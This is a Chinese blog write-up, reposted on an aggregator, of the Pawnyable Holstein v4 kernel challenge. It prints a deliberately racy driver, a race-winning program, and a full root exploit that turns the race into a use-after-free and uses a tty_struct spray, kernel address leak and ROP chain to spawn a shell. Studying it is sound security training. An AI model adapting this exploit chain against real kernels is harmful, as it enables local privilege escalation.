0013-TIPS-pawnyable : Race-Condition

news2024/12/24 2:22:57

原文
Linux Kernel PWN | 040204 Pawnyable之竞态条件
Holstein v4: Race Condition
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v4 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

int mutex = 0;
char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  mutex = 0;
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

漏洞分析

想要保证驱动,同一时刻只能被打开一次,但是可重入代码是用的全局变量进行的保护,这是漏洞点。

#define BUFFER_SIZE 0x400

int mutex = 0;
char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  mutex = 0;
  return 0;
}

看下图,在线程A执行mutex=1之前,线程B绕过了if(mutex)检查,就可以同时多次打开驱动
在这里插入图片描述

产生条件竞争

先通过一个例子看看进程是如何分配文件描述符的

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
    int fd1 = 0, fd2 = 0, fd3;
    fd1 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    printf("fd1 = %d\n",fd1);
    fd2 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    printf("fd2 = %d\n",fd2);
    close(fd1);
    fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    printf("fd1 = %d\n",fd3);
    return 0;
}

结果

fd1 = 3
fd2 = 4
fd1 = 3

文件描述符0、1、2默认分配给了,标准输入、标准输出、标准错误
之后文件描述符从3开始分配,如果其中有多个描述符被关闭了,新的文件描述符从最小可用的数字进行分配

对于本题,如何赢得条件竞争
对于本驱动,在不打开额外文本的情况下,使用两个线程跑尝试是否可以赢得条件竞争

  • 首先文件描述0、1、2 默认分配给了,标准输入、标准输出、标准错误
  • 其次无论否可以赢得条件竞争,总会有一个线程打开驱动,获取文件描述符3,所以如果赢得条件竞争那文件描述符一个就是3,一个就是4
  • 当有一个文件描述符是3是,另一个文件描述符不是4,需要关闭这两个文件文件描述符重新竞争

赢得条件竞争的代码如下

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int win = 0;

void *race(void *arg) {
    while (1) {
        // 1
        while (!win) { // win=0
            int fd = open("/dev/holstein", O_RDWR);
            if (fd == 4)
                win = 1;
            if (win == 0 && fd != -1)
                close(fd);
        }

        // 2
        if (write(3, "A", 1) != 1 || write(4, "a", 1) != 1) {
            close(3);
            close(4);
            win = 0;
        } else
            break;
    }
    return NULL;
}

int main() {
    pthread_t th1, th2;
    puts("[*] running thread 1 and thread 2");

    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);

    puts("[+] reached race condition");

    char buf[0x400] = {0};
    int fd1 = 3, fd2 = 4;
    puts("[*] writing \'aptx4869\' into fd 3");
    write(fd1, "aptx4869", 9);
    puts("[*] reading from fd 4");
    read(fd2, buf, 9);
    printf("[+] content: %s\n", buf);

    return 0;
}

条件竞争转UAF

在赢得条件竞争的基础上,题目还存在UAF漏洞,可以利用这个UAF提权

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 800
#define BUF_LEN 0x400

#define ofs_tty_ops 0xc3afe0
#define prepare_kernel_cred (kbase + 0x72580)
#define commit_creds (kbase + 0x723e0)
#define pop_rdi_ret (kbase + 0xb13fd)
#define pop_rcx_pop2_ret (kbase + 0x309948)
#define push_rdx_pop_rsp_pop_ret (kbase + 0x137da6)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x65094b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
unsigned long g_buf;

int win = 0;
long fd1, fd2;

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

void *race(void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t *)arg;
    if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
        fatal("sched_setaffinity");

    while (1) {
        while (!win) {
            int fd = open("/dev/holstein", O_RDWR);
            if (fd == fd2)
                win = 1;
            if (win == 0 && fd != -1)
                close(fd);
        }
        if (write(fd1, "A", 1) != 1 || write(fd2, "a", 1) != 1) {
            close(fd1);
            close(fd2);
            win = 0;
        } else
            break;
        usleep(1000);
    }
    return NULL;
}

void *spray_thread(void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t *)arg;
    if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
        fatal("sched_setaffinity");
    long x;
    long spray[SPRAY_NUM];

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM);
    for (int i = 0; i < SPRAY_NUM; i++) {
        usleep(10);
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1) {
            for (int j = 0; j < i; j++)
                close(spray[j]);
            return (void *)-1;
        }
        if (read(fd2, &x, sizeof(long)) == sizeof(long) && x) {
            for (int j = 0; j < i; j++)
                close(spray[j]);
            return (void *)spray[i];
        }
    }
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);
    return (void *)-1;
}

int create_overlap() {
    pthread_t th1, th2;
    char buf[0x10] = {0};
    cpu_set_t t1_cpu, t2_cpu;
    // cpu affinity
    CPU_ZERO(&t1_cpu);
    CPU_ZERO(&t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);

    puts("[*] opening /tmp to figure out next two fds");
    fd1 = open("/tmp", O_RDONLY);
    fd2 = open("/tmp", O_RDONLY);
    close(fd1);
    close(fd2);
    printf("[+] next two fds: fd1 <%ld>, fd2 <%ld>\n", fd1, fd2);

    puts("[*] running thread1 and thread2");
    pthread_create(&th1, NULL, race, (void *)&t1_cpu);
    pthread_create(&th2, NULL, race, (void *)&t2_cpu);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);

    puts("[+] reached race condition");
    puts("[*] checking whether this race condition is effective");
    write(fd1, "aptx4869", 9);
    read(fd2, buf, 9);
    if (strcmp(buf, "aptx4869") != 0) {
        puts("[-] bad luck :(");
        exit(1);
    }
    memset(buf, 0, 9);
    write(fd1, buf, 9);
    puts("[+] gotten effective race condtion");

    puts("[*] closing fd1 to create UAF situation");
    close(fd1); // create UAF

    long victim_fd = -1;
    victim_fd = (long)spray_thread((void *)&t1_cpu);
    while (victim_fd == -1) {
        puts("[*] spraying on another CPU");
        pthread_create(&th1, NULL, spray_thread, (void *)&t2_cpu);
        pthread_join(th1, (void *)&victim_fd);
    }

    printf("[+] overlapped victim fd <%d>\n", (int)victim_fd);
    return victim_fd;
}

int main() {
    char buf[BUF_LEN] = {0};
    save_userland_state();

    puts("[*] UAF #1");
    create_overlap();

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    read(fd2, buf, BUF_LEN); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;

    if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
        printf("[-] heap spraying failed\n");
        exit(-1);
    }
    if (kbase & 0xfff) { // what and why?
        puts("[-] kbase is invalid; trying to fix it by adding 0x120");
        kbase += 0x120;
    }

    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain\n");
    unsigned long *chain = (unsigned long *)&buf;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_pop2_ret;
    *chain++ = 0;
    *chain++ = 0;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret;

    printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n");
    write(fd2, buf, BUF_LEN);

    puts("[*] UAF #2");
    int victim_fd = create_overlap();

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n");
    read(fd2, buf, 0x20);
    *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
    write(fd2, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    ioctl(victim_fd, 0, g_buf - 8);

    puts("[-] failed to exploit");

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/668918.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用 Vite + Vue3 + Element-Plus + Pinia + Ts 搭建 Vue3 项目

使用 Vite Vue3 Element-Plus Pinia Ts 搭建 Vue3 项目 使用Vite搭建配置Router配置 Element-Plus配置sass配置Pinia配置解析 符号&#xff0c;并找到对应的路径TypeScript忽略类型检查 使用Vite搭建 Vite 需要 Node.js 版本 14.18&#xff0c;16。然而&#xff0c;有些模…

chatgpt赋能python:Python指定小数点位数的完整指南

Python指定小数点位数的完整指南 Python是一种高级编程语言&#xff0c;广泛用于科学、统计和数学计算。在许多情况下&#xff0c;我们需要对浮点数进行更精确的计算。Python 中保留小数位数的能力很强&#xff0c;本文将向您介绍如何在 Python 中指定小数点后的位数。 为什么…

购买服务器/安装宝塔

1、服务器的选择 本人知道并了解一丢丢的就这四个平台&#xff1a; 1、阿里云 2、腾讯云 3、硅云 4、亚马逊 个人觉得阿里云是YYDS&#xff0c;啥都挺方便的&#xff0c;唯一不足就是有点小贵&#xff0c;但是新用户第一次购买还是很优惠的。 腾讯云有的云服务器是真的便宜&am…

【Batch_size 与 梯度 之间的关系】

chatGPT 回答 梯度更新与批大小&#xff08;batch size&#xff09;之间有密切的关系。批大小是指在训练过程中一次迭代所使用的样本数量。 在深度学习中&#xff0c;梯度下降是一种常用的优化算法&#xff0c;用于更新模型参数以最小化损失函数。梯度是损失函数对于模型参数…

Gradio Flagging模块解析与实践

❤️觉得内容不错的话&#xff0c;欢迎点赞收藏加关注&#x1f60a;&#x1f60a;&#x1f60a;&#xff0c;后续会继续输入更多优质内容❤️ &#x1f449;有问题欢迎大家加关注私戳或者评论&#xff08;包括但不限于NLP算法相关&#xff0c;linux学习相关&#xff0c;读研读博…

基于html+css的图展示135

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

大数据大作业(课程设计)

题目&#xff1a;信息爬取字数统计及可视化 内容及要求&#xff1a; 配置Hadoop平台&#xff1b;利用爬虫技术爬取任一门户网站新闻栏目一定时间段内的新闻信息&#xff0c;保存为一个或多个文件并上传到Hadoop平台以本人学号命名的文件夹下&#xff1b;利用MapReduce框架编程完…

CSS3-显示模式

显示模式 1 块级显示 2 行内显示 3 行内块显示 4 元素显示模式转换 5 拓展 1 块级显示 属性&#xff1a;display:block 显示特点&#xff1a; 1 独占一行&#xff08;一行只能显示一个&#xff09; 2 宽度默认是父元素的宽度&#xff0c;高度默认由内容撑开 3 可以设置宽高 代表…

Cortext-M3系统:异常系统(5)

1、使用中断 在CM3中&#xff0c;NVIC为我们搞定了使用中断时的很多例行任务&#xff0c;如优先级检查、入栈/出栈、取向量等。不过在NVIC能行使职能之前&#xff0c;还需要我们做好如下的初始化工作&#xff1a;建立堆栈、建立向量表、分配各中断的优先级、使能中断。 1.1 建…

node笔记_读取目录的文件

文章目录 ⭐前言⭐fs.readdirSync&#x1f496; 读取目录 不加withFileTypes&#x1f496; 读取目录 加withFileTypes&#x1f496; 读取目录时 判断元素文件还是目录 ⭐结束 ⭐前言 大家好&#xff0c;我是yma16&#xff0c;本文分享关于node读取目录文件 往期文章 node_wind…

【java】Jconsole 开启远程连接遇到的一些坑

文章目录 背景一、JMX二、配置远程连接2.1、Java 程序启动2.2、tomcat 启动2.3、无法远程问题排查2.4、解决方案 三、关闭 tomcat 报错3.1、问题分析3.2、问题解决 总结 背景 最近在学习 JVM&#xff0c;其中涉及到性能、内存等指标分析需要使用工具分享&#xff0c;Java 提供…

dvwa靶场通关(六)

第六关&#xff1a;Insecure CAPTCHA&#xff08;不安全的验证码&#xff09; 不安全的验证码&#xff1f;不是这个意思&#xff0c;而是指验证码验证可以被绕过。怎么绕&#xff1f;一般都是验证码的验证和最终修改的验证分离&#xff0c;导致了中间过程&#xff08;验证码的…

io.netty学习(八)零拷贝原理

目录 零拷贝 传统I/O操作存在的性能问题 零拷贝技术原理 虚拟内存 mmap/write 方式 sendfile 方式 带有 scatter/gather 的 sendfile方式 splice 方式 总结 io.netty学习使用汇总 零拷贝 零拷贝&#xff08;Zero-Copy&#xff09;是一种 I/O 操作优化技术&#xff0c…

总结906

学习目标&#xff1a; 月目标&#xff1a;6月&#xff08;线性代数强化9讲&#xff0c;背诵15篇短文&#xff0c;考研核心词过三遍&#xff09; 周目标&#xff1a;线性代数强化3讲&#xff0c;英语背3篇文章并回诵&#xff0c;检测 每日规划 今日已做&#xff1a; 1.回环背诵…

chatgpt赋能python:Python捕捉按键:探索基础和应用

Python捕捉按键&#xff1a;探索基础和应用 Python作为高级编程语言&#xff0c;可以用于各种任务&#xff0c;例如数据分析、机器学习、图形用户界面等等。其中&#xff0c;捕捉用户键盘输入是一个常见的任务&#xff0c;它可以用于实现简单的游戏、命令行应用和用户交互&…

Redis持久化说明及其单台Linux服务器搭建Redis集群架构

一.Redis持久化方式 1.1 RDB快照 说明&#xff1a;RDB快照主要以二进制文件的形式进行存储数据&#xff0c;主要以文件名dump.rdb进行存储&#xff0c;主要设置redis.conf里面设置’save 60 1000’命令可以开启&#xff0c; 表示在60秒内操作1000次进行一次备份数据。在客户端…

《网络安全0-100》网络安全工具

网络安全工具 抓包工具 抓包工具是网络安全领域中常用的一种工具&#xff0c;用于捕获和分析网络数据包&#xff0c;帮助用户了解网络流量、发现网络攻击和漏洞等问题。以下是几个常用的抓包工具&#xff1a; Wireshark&#xff1a;Wireshark是一种开放源代码的网络协议分析工…

软考A计划-系统集成项目管理工程师-信息化知识(五)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff…

Unity核心6——Animation

一、动画窗口 ​ 通过 Window --> Animation --> Animation 打开 Animation 窗口 ​ Animation窗口主要用于在 Unity 内部创建和修改动画&#xff0c;所有在场景中的对象都可以通过 Animation 窗口为其制作动画 ​ 原理&#xff1a; ​ 制作动画时&#xff1a;记录在…

chatgpt赋能python:Python提供的68个内置函数:一个全面的指南

Python提供的68个内置函数&#xff1a;一个全面的指南 Python是一种强大的编程语言&#xff0c;具有出色的生态系统和强大的功能。它提供了许多内置函数&#xff0c;这些函数可以使你的编程任务变得更加容易和高效。本篇文章将介绍Python提供的68个内置函数&#xff0c;帮助你…